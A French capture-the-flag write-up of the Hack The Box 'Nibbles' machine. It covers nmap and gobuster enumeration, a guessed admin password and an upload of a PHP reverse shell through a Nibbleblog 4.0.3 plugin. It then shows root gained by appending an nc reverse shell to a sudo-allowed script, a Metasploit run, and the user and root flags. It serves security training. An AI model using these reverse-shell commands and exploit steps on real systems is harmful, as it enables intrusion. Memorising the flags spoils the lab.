Nibbles
📜Enumeration
Run an nmap script scan on the target. What is the Apache version running on the server? (answer format: X.X.XX)
Dans un premier temps, nous analysons à l'aide d'un simple scan Nmap les ports ouverts sur la cible :
$ nmap -sV --open -oA nibbles_initial_scan 10.xxx.xxx.xxx
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 10:53 CEST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.60 seconds
Suite au scan effectué, nous observons 2 ports ouverts :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Nous observons ici que la version su serveur web est Apache httpd 2.4.18
.
Cependant, nous n'avons pas encore effectué le scan demandé. Nous allons donc maintenant effectuer l'analyse de script Nmap comme demandé.
Afin d'effectuer une analyse de script nmap sur les ports ouverts recensés, voici la commande effectuée :
$ nmap -sC -p 22,80 -oA nibbles_script_scan 10.xxx.xxx.xxx
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 10:57 CEST
Nmap scan report for 10.xxx.xxx.xxx
Host is up (0.026s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds
Le scan du script ne nous a rien donné de pratique. Nous complétons alors notre scan nmap
en utilisant le script http-enum, qui peut être utilisé pour énumérer les répertoires d'applications Web communes :
$ nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.xxx.xxx.xxx
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds
Nous obtenons donc la version de notre serveur Apache :
2.4.18
🐾 Web Footprinting
Nous récupérons le contenu du site Web à l'aide de la commande curl :
$ curl http://10.xxx.xxx.xxx
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Suite à cette lecture du site Web de notre cible, il nous est possible d'observer la présence d'un répertoire /nibbleblog
.
Nous accédons alors au site cible sur le répertoire /nibbleblog
:

Une recherche en ligne (niggleblog exploit
) nous à permis d'identifier une possible vulnérabilité.
La faille permet à un attaquant authentifié de télécharger et d'exécuter du code PHP arbitraire sur le serveur Web sous-jacent.
Il est également mentionné que le module metasploit
utilisé à été effectué sur la version 4.0.3
. Cependant nous ne connaissons pas la version de notre niggleblog en cours d'utilisation.
Si nous regardons le code source du module metasploit
, nous pouvons voir que l'exploit utilise des informations d'identification fournies par l'utilisateur pour s'authentifier sur le portail d'administration /admin.php
.
Nous utilisons alors Gobuster afin d'énumérer l'ensemble des répertoires accessibles :
$ gobuster dir -u http://10.xxx.xxx.xxx/nibbleblog/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 309]
/.hta (Status: 403) [Size: 304]
/.htaccess (Status: 403) [Size: 309]
/README (Status: 200) [Size: 4628]
/admin (Status: 301) [Size: 327] [--> http://10.xxx.xxx.xxx6/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 329] [--> http://10.xxx.xxx.xxx/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 331] [--> http://10.xxx.xxx.xxx/nibbleblog/languages/]
/plugins (Status: 301) [Size: 329] [--> http://10.xxx.xxx.xxx/nibbleblog/plugins/]
/themes (Status: 301) [Size: 328] [--> http://10.xxx.xxx.xxx/nibbleblog/themes/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================
Gobuster
se termine très rapidement et confirme la présence de la page admin.php
. Nous pouvons vérifier le contenu de la page README
pour obtenir des informations supplémentaires, telles que le numéro de version de niggleblog.
Pour se faire, nous utilisons de nouveau la commande curl
:
$ curl http://10.129.135.146/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog
[...]
Nous validons donc que la version 4.0.3 est en cours d'utilisation, confirmant que cette version est probablement vulnérable au module Metasploit
.
Nous recherchons maintenant des possibles informations d'identification dans les différents répertoires trouvés par Gobuster
:

Nous observons dans le répertoire /admin/private/ la présence de plusieurs fichiers XML.
Nous analysons leur contenu, notamment concernant les fichier config.xml
et users.xml
:

Contenu du fichier users.xml
:

Le fichier users.xml
nous permets d'identifier la présence d'un utilisateur admin. Cependant, nous n'avons pas d'information concernant le mot de passe associé à cet utilisateur.
Contenu du fichier config.xml
:

En vérifiant le contenu de ce fichier, en espérant trouver des mots de passe exploitables, nous voyons deux mentions de nibbles
dans le titre du site ainsi que l'adresse e-mail de notification. C'est aussi le nom de la boîte. Nous nous sommes alors demandés si il pourrait s'agir du mot de passe administrateur ?
Nous avons alors choisi de tester les identifiants admin:nibbles
sur la page 10.xxx.xxx.xxx/nibbleblog/admin.php
, ce qui nous à permis d'avoir un accès en tant qu'administrateur au site Web de notre cible :

📞 Initial Foothold
Maintenant que nous sommes connectés au portail d'administration, nous devons essayer de transformer cet accès pour exécuter du code et obtenir un accès en reverse shell au serveur Web.
En observant les répertoires disponibles sur le site Web une fois connectés en tant qu'administrateur, nous avons relevé ceci :
Page
Contenu
Publish
Créer un nouveau post, un post vidéo, un post de citation ou une nouvelle page. Ça pourrait être intéressant.
Comments
Ne montre aucun commentaire publié
Manage
Nous permet de gérer les publications, les pages et les catégories. Nous pouvons modifier et supprimer des catégories, pas trop intéressant.
Settings
Confirme que la version vulnérable 4.0.3 est utilisée. Plusieurs paramètres sont disponibles, mais aucun ne nous semble intéressant.
Themes
Cela nous permet d'installer un nouveau thème à partir d'une liste présélectionnée.
Plugins
Permet de configurer, installer ou désinstaller des plugins. Le plugin My image
nous permet de télécharger une image.
Nous créons un fichier shell.php
afin d'essayer de télécharger un fichier PHP
malveillant dans le site Web :
echo "<?php system('id'); ?>" > shell.php
Nous allons donc maintenant essayer de réaliser un reverse shell afin d'avoir un accès à distance à notre cible.
Nous utilisons netcat
afin de réaliser une écoute active sur le port 4343:
nc -lvnp 4444
Une fois l'écoute en place, nous modifions le fichier shell.php
ainsi :
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f"); ?>
Nous retournons alors que le site cible, y incluons notre fichier shell.php
et nous rendons sur le lien http://10.xxx.xxx.xxx/nibbleblog/content/private/plugins/my_image/image.php
afin d'activer notre reverse shell. Cette manipulation nous donne ainsi un accès distant à la machine cible :
$ nc -lvnp 4343
Ncat: Connection from 10.129.134.37.
Ncat: Connection from 10.129.134.37:47954.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
La connexion sur la cible est effective.
Notre but maintenant est d'améliorer notre shell vers un shell interactif :
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Une fois le shell interactif en place, nous nous rendons dans le répertoire de l'utilisateur nibbler
et analysons le contenu du fichier user.txt
:
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler
nibbler@Nibbles:/home/nibbler$ ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
79c03865431abf47b90ef24b9695e148
Une fois ces information obtenues, nous pouvons résoudre le point suivant :
Gain a foothold on the target and submit the user.txt flag
La flag présent dans le fichier user.txt
est donc le suivant :
79c03865431abf47b90ef24b9695e148
↗️Privilege Escalation
Maintenant qu'un accès à distance à la machine est réalisé, le but est d'effectuer une élévation de privilèges pour devenir administrateur.
Comme nous avons pu le voir, un fichier personal.zip est présent sur le poste de l'utilisateur. Nous allons donc le unzip :
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Un fichier monitor.sh
est créé.
Le script monitor.sh
est un script de surveillance, et il appartient à notre utilisateur nibbler
.
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
####################################################################################################
# Tecmint_monitor.sh # #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
<SNIP>
Nous allons télécharger LinEnum.sh afin de vérifier automatiquement si des élévations de privilèges sont possibles.
Pour cela, on télécharge le fichier sur notre hôte attaquant :
$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/plain]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[=====================================>] 45.54K --.-KB/s in 0.01s
2025-06-16 17:10:12 (3.12 MB/s) - ‘LinEnum.sh’ saved [46631/46631]
On ouvre un serveur WEB python sur notre hôte attaquant dans le répertoire contenant notre script LinEnum.sh
afin de rendre le fichier accessible sur notre cible pour pouvoir le télécharger et l'exécuter :
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On se rend donc sur la cible et téléchargeons le fichier :
wget http://<ATTACKING IP>:8000/LinEnum.sh
nibbler@Nibbles:/home/nibbler/personal$ wget http://10.xxx.xxx.xxx:8000/LinEnum.sh
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 100%[===================>] 45.54K --.-KB/s in 0.05s
2025-06-16 11:27:01 (923 KB/s) - 'LinEnum.sh' saved [46631/46631]
Une fois le script installé, on lui attribue les droits necéssaires :
nibbler@Nibbles:/home/nibbler/personal$ chmod +x LinEnum.sh
Voici l'un des éléments que nous retourne LinEnum.sh
:
[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Ceci mentionne que l'utilisateur peut exécuter le fichier /home/nibbler/personal/stuff/monitor.sh
avec privilèges root
. Étant donné que nous avons un contrôle total sur ce fichier, si nous ajoutons un reverse shell à la fin de celui-ci et l'exécutons avec sudo
nous devrions récupérer un accès en tant qu'utilisateur root
.
Nous ajoutons notre reverse shell à la fin du fichier :
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.xxx.xxx.xxx 4343 >/tmp/f' | tee -a monitor.sh
On lance une écoute sur le port 4343 sur notre machien attaquante :
$ nc -lvnp 4343
On exécute le script sur la machine cible à l'aide de la commande sudo
:
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
Une fois le script lancé, nous observons la bonne connexion en tant que root
sur le reverse shell :
$ nc -lvnp 4343
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4343
Ncat: Listening on 0.0.0.0:4343
Ncat: Connection from 10.129.134.37.
Ncat: Connection from 10.129.134.37:47968.
# id
uid=0(root) gid=0(root) groups=0(root)
On récupère ensuite un shell interactif et récupérons le contenu du fichier root.txt
:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
root@Nibbles:/home/nibbler/personal/stuff# ll
total 28
drwxr-xr-x 2 nibbler nibbler 4096 Jun 16 11:44 ./
drwxr-xr-x 3 nibbler nibbler 4096 Jun 16 11:27 ../
-rw-r--r-- 1 nibbler nibbler 16384 Jun 16 11:44 .monitor.sh.swp
-rwxrwxrwx 1 nibbler nibbler 4094 Jun 16 11:47 monitor.sh*
root@Nibbles:/home/nibbler/personal/stuff# cd /root
root@Nibbles:~# ls
root.txt
root@Nibbles:~# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
Le fichier root.txt
contient donc ceci :
de5e5d6619862a8aa5b9b212314e0cdd
🛡️Metasploit
Comme nous l'avons vu au début de la Box, une exploitation via Metasploit
était possible.
Cependant, comme nous n'avions pas les identifiants associés à l'administrateur, nous n'avons pas pu explorer cette option.
Cependant, maintenant nous pouvons essayer d'explorer cet environnement.
Lancer Metasploit
sur notre machine attaquante et utiliser l'exploit trouvé lors de recherches précédentes :
$ msfconsole
msf6 > use exploit/multi/http/nibbleblog_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usin
g-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.xxx.xxx.xxx yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
Dans les options, nous allons modifier ceci :
Name Current Setting Required Description
PASSWORD yes The password to authenticate with
USERNAME yes The username to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usin
g-metasploit/basics/using-metasploit.html
TARGETURI / yes The base path to the web application
msf6 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.xxx.xxx.xxx
rhosts => 10.xxx.xxx.xxx
msf6 exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog
Une fois les paramètres renseignés, on choisi le payload souhaité et lançons l'exploit.
msf6 exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/nibbleblog_file_upload) > run
[*] Started reverse TCP handler on 10.xxx.xxx.xxx:4444
[+] Deleted image.php
[*] Command shell session 1 opened (10.xxx.xxx.xxx:4444 -> 10.xxx.xxx.xxx:46006) at 2025-06-16 20:11:44 +0200
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Nous nous retrouvons donc connectés en tant que l'utilisateur nibbler
, nous pouvons maintenant effectuer les mêmes manipulations d'élévation de privilèges que vu précédemment.
Mis à jour